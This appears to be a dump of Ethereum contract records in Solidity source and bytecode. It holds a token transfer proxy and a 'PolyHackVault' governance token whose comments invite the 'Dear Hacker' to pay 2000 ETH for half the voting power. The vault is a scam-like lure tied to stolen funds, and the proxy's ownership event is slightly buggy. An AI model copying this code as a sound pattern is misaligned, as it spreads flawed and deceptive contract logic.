/** *Submitted for verification at Etherscan.io on 2021-07-27 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea264697066735822122079832fb7911447452d7f07a59a0ca07e5bd9ec3f9e18217d26e19377332ae00764736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,024
0xde53216c0694e75a16a7de98443a0b56a829e193
// lets gooooooooooooooooooo // GOAT DAO // GOAT DAO // GOAT DAO //Dear Hacker (GOAT) = half of voting power granted for 2000 eth //rest airdropped to community pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract PolyHackVault { // GOAT (Dear Hacker) gets half of all supply (governance votes) address payable public GOAT = 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963; /// @notice EIP-20 token name for this token string public constant name = "PolyHackVault"; /// @notice EIP-20 token symbol for this token string public constant symbol = "POLYHACKVAULT"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 20000000e18; // 20 million Poly uint public constant halfTotalSupply = 10000000e18; // 10 million Poly /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; address payable public gov; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new POLYHACKVAULT token */ constructor() public { balances[msg.sender] = uint96(halfTotalSupply); emit Transfer(address(0), msg.sender, halfTotalSupply); gov = msg.sender; } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Poly::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Poly::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Poly::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Poly::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Poly::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Poly::delegateBySig: invalid nonce"); require(now <= expiry, "Poly::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current payment balance for `account` to governance/chef */ function delegateGovernancePayment() public payable { require(msg.sender == gov); gov.transfer(address(this).balance); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Poly::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Poly::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Poly::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Poly::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Poly::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Poly::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Poly::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Poly::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } // Dear Hacker, // just trigger this function with 2k ETH value in EtherScan // tokens will be sent to you automatically (half of all supply/voting power) function grantCoinsToGOATFor2000ETH() public payable { require(msg.sender == GOAT); require(msg.value == 2000 ether); balances[GOAT] = uint96(halfTotalSupply); emit Transfer(address(0), GOAT, halfTotalSupply); } }
0x60806040526004361061014b5760003560e01c8063777d7f24116100b6578063b8eff3c81161006f578063b8eff3c8146104d5578063c3cda520146104df578063dd62ed3e14610508578063df68ec6814610545578063e7a324dc14610570578063f1127ed81461059b5761014b565b8063777d7f24146103ac578063782d6fe1146103b65780637ecebe00146103f357806395d89b4114610430578063a9059cbb1461045b578063b4b5ea57146104985761014b565b8063313ce56711610108578063313ce567146102765780634eeb2e90146102a1578063587cde1e146102cc5780635c19a95c146103095780636fcfff451461033257806370a082311461036f5761014b565b806306fdde0314610150578063095ea7b31461017b57806312d43a51146101b857806318160ddd146101e357806320606b701461020e57806323b872dd14610239575b600080fd5b34801561015c57600080fd5b506101656105d9565b6040516101729190612d05565b60405180910390f35b34801561018757600080fd5b506101a2600480360361019d91908101906125c2565b610612565b6040516101af9190612c00565b60405180910390f35b3480156101c457600080fd5b506101cd6107a5565b6040516101da9190612be5565b60405180910390f35b3480156101ef57600080fd5b506101f86107cb565b6040516102059190612e09565b60405180910390f35b34801561021a57600080fd5b506102236107da565b6040516102309190612c1b565b60405180910390f35b34801561024557600080fd5b50610260600480360361025b9190810190612573565b6107f1565b60405161026d9190612c00565b60405180910390f35b34801561028257600080fd5b5061028b610a85565b6040516102989190612e68565b60405180910390f35b3480156102ad57600080fd5b506102b6610a8a565b6040516102c39190612be5565b60405180910390f35b3480156102d857600080fd5b506102f360048036036102ee919081019061250e565b610aaf565b6040516103009190612bca565b60405180910390f35b34801561031557600080fd5b50610330600480360361032b919081019061250e565b610ae2565b005b34801561033e57600080fd5b506103596004803603610354919081019061250e565b610aef565b6040516103669190612e24565b60405180910390f35b34801561037b57600080fd5b506103966004803603610391919081019061250e565b610b12565b6040516103a39190612e09565b60405180910390f35b6103b4610b81565b005b3480156103c257600080fd5b506103dd60048036036103d891908101906125c2565b610c46565b6040516103ea9190612e9e565b60405180910390f35b3480156103ff57600080fd5b5061041a6004803603610415919081019061250e565b611059565b6040516104279190612e09565b60405180910390f35b34801561043c57600080fd5b50610445611071565b6040516104529190612d05565b60405180910390f35b34801561046757600080fd5b50610482600480360361047d91908101906125c2565b6110aa565b60405161048f9190612c00565b60405180910390f35b3480156104a457600080fd5b506104bf60048036036104ba919081019061250e565b6110e7565b6040516104cc9190612e9e565b60405180910390f35b6104dd6111d5565b005b3480156104eb57600080fd5b50610506600480360361050191908101906125fe565b611371565b005b34801561051457600080fd5b5061052f600480360361052a9190810190612537565b611614565b60405161053c9190612e09565b60405180910390f35b34801561055157600080fd5b5061055a6116c1565b6040516105679190612e09565b60405180910390f35b34801561057c57600080fd5b506105856116d0565b6040516105929190612c1b565b60405180910390f35b3480156105a757600080fd5b506105c260048036036105bd9190810190612687565b6116e7565b6040516105d0929190612e3f565b60405180910390f35b6040518060400160405280600d81526020017f506f6c794861636b5661756c740000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610665577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905061068a565b6106878360405180606001604052806025815260200161308160259139611740565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107929190612e83565b60405180910390a3600191505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6a108b2a2c2802909400000081565b6040516107e690612ba0565b604051809103902081565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006108b48560405180606001604052806025815260200161308160259139611740565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561092e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b15610a6c57600061095883836040518060600160405280603d81526020016131b5603d913961179e565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a629190612e83565b60405180910390a3505b610a7787878361180f565b600193505050509392505050565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610aec3382611bf0565b50565b60066020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bdb57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c43573d6000803e3d6000fd5b50565b6000438210610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190612d49565b60405180910390fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610cf7576000915050611053565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610df957600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050611053565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610e7a576000915050611053565b600080905060006001830390505b8163ffffffff168163ffffffff161115610fd5576000600283830363ffffffff1681610eb057fe5b0482039050610ebd612477565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610fad57806020015195505050505050611053565b86816000015163ffffffff161015610fc757819350610fce565b6001820392505b5050610e88565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60076020528060005260406000206000915090505481565b6040518060400160405280600d81526020017f504f4c594841434b5641554c540000000000000000000000000000000000000081525081565b6000806110cf8360405180606001604052806026815260200161314060269139611740565b90506110dc33858361180f565b600191505092915050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116111515760006111cd565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461122e57600080fd5b686c6b935b8bbd400000341461124357600080fd5b6a084595161401484a000000600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1b